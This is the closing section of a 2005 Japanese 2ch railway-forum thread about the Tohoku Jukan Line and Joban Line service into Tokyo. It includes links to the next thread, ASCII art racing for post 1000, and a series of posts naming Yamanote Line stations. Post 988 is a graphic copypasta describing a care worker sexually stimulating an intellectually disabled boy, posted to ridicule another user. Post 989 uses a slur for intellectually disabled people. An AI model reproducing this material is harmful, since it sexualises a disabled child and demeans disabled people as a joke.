日暮里で降りてる人は池袋方面に行ってる人だけなの?

それとも東京方面に行く人も上野の乗換えが大変だから、
日暮里で混雑率200%以上の山の手、京浜東北に乗ってるの?

980 :名無し野電車区:2005/05/23(月) 21:48:54 ID:AHz7/L+G
「工作員」だってよ。

右翼馬鹿丸出し。

981 :名無し野電車区:2005/05/23(月) 22:14:06 ID:bQkMLH6P
次スレ建てますた。
http://hobby7.2ch.net/test/read.cgi/rail/1116853914/

982 :名無し野電車区:2005/05/23(月) 22:15:37 ID:1/LEzyXG
【東海道線】東北縦貫線4【高崎・東北・常磐線】
http://hobby7.2ch.net/test/read.cgi/rail/1116782357/
は?

983 :名無し野電車区:2005/05/23(月) 22:19:46 ID:R8fQZLil
>>982
どっちかを5にすればいいよ。

984 :名無し野電車区:2005/05/23(月) 22:27:07 ID:MVN4KbGT
せっかくだから住み分けをしよう。

常磐線の東京乗り入れ賛成
【東海道線】東北縦貫線4【高崎・東北・常磐線】
http://hobby7.2ch.net/test/read.cgi/rail/1116782357/

常磐線の東京乗り入れ反対
【東海道】東北縦貫線4【高崎・宇都宮・常磐】
http://hobby7.2ch.net/test/read.cgi/rail/1116853914/

985 :名無し野電車区:2005/05/23(月) 22:46:39 ID:9Hlxoad0
次スレ立てたどころで、
東北高崎厨VS常磐厨のエゴだし合戦。

このスレと同じような議論が続くだけ。

986 :名無し野電車区:2005/05/23(月) 22:57:42 ID:1/LEzyXG
エゴで出汁取ったら美味しいよね?

987 :名無し野電車区:2005/05/23(月) 23:32:03 ID:m2Xej7Sr
1000ゲトー\      \∧_ヘ    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
∧∧ ≡≡.\    / \〇ノゝ∩< 1000取り合戦、いくぞゴルァ!!
(゚ー゚*) 、 ≡≡\  /三√ ゚Д゚) /  \__________
O┬Oc )〜≡≡\/三/| ゚U゚|\      \オーーーーーーーッ!!/
(*)ι_/(*) ≡≡.\   ∧∧∧∧∧―――――――――――
――――――――――< 予 合 千 > __〃      ヽ lv
い、今だ1000ゲットォ!! < 感 戦 取 > ヽ\ .ノノノ)ヘ))〉ヽ'  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 .∧ ∧ =-       <. !!. の り .>_!(0.)! (┃┃〈リ / < はわわー。1000げっとです〜
 (゚Д゚;) ≡=-.     /∨∨∨∨∨\.. Vレリ、" lフ/ ./ \ \________
 ⊂┯⊂)  ≡=-   / 1000 ∧_∧.\―――――――――――
 (ヽ\ ヽ ) ≡=-  / ゲット ( ´Д` )  \今だ!1000ゲットォォォォ!
   し\J   =- / しますた /,  /    \    ∧∧   ) ズザーーーーーッ
  (( ̄(◎) ≡=-/      (ぃ9 |       \⊂(゚Д゚⊂⌒`つ≡≡≡(´ ;;;≡

988 :名無し野電車区:2005/05/23(月) 23:34:40 ID:m2Xej7Sr
妹と同じ学部の女性が実習に行った。
>>1が入っている知的障害児の施設に。
その実習生は入浴介助で男性障害児の担当になった。
ところが全裸になった障害児の股間を見ると、すでに屹立したイチモツが。
その施設の中年女性スタッフと障害児の身体を洗ってたんだけど、終了間際、
スタッフがまるで入浴介助の一連の動作のようにごく自然に手コキでイチモツをシコシコした。
おっ立っていたイチモツからはすぐさまドピュドピュと白濁液が。
これまた何事もないようにスタッフはシャワーで洗い流した。
そして驚愕している実習生に向かって一言。
「次はやってもらうからね」。
その娘が「で、できません!」と半泣き顔で言うと、
「お風呂のときに処理してやらないとヒステリックにキーキーと叫んで、
落ち着かなくなって私達の言うことを聞かなくなるのよ」と。
そう真顔で言うと、今度は障害児に向かって「こんな若いかわいい人にやってもらえてよかったねぇ」と嬉しそうに言った。
障害児は手羽先みたいな腕をバタバタさせながらはしゃいでいたそうな。
どうやらそれが >>1 のようだな。

989 :↑ ↑ ↑ ↑:2005/05/24(火) 09:37:09 ID:Esf5Pacr
1000間際は↑こういう池沼の独壇場だねw

990 :もう1000が近いのか?:2005/05/24(火) 14:46:23 ID:SAtY92Xv
だらだら続いたレスはここで終わる。
こっからは本物のスピードが必要なんだ。
見せてやるぜ!名無し流勝利への方程式!

990からカタパルトのように打ち出される名無しのレス!
過疎スレに慣らされた体には心臓が飛び出すほど恐ろしい!!
まったり的な錯覚でレスの時間の幅は短くなって見える!!

991 :名無し野電車区:2005/05/24(火) 20:00:15 ID:/uFHh/F0
上野

992 :名無し野電車区:2005/05/24(火) 20:00:47 ID:/uFHh/F0
秋葉原

993 :名無し野電車区:2005/05/24(火) 20:01:26 ID:/uFHh/F0
東京

994 :名無し野電車区:2005/05/24(火) 20:02:06 ID:/uFHh/F0
新橋

995 :名無し野電車区:2005/05/24(火) 20:35:26 ID:/uFHh/F0
品川

996 :名無し野電車区:2005/05/24(火) 20:36:00 ID:/uFHh/F0
大崎

997 :名無し野電車区:2005/05/24(火) 20:36:32 ID:/uFHh/F0
恵比寿

998 :名無し野電車区:2005/05/24(火) 20:37:04 ID:/uFHh/F0
渋谷

999 :名無し野電車区:2005/05/24(火) 20:37:44 ID:/uFHh/F0
新宿

1000 :名無し野電車区:2005/05/24(火) 20:37:57 ID:nZMCrYag
1000

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

272 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)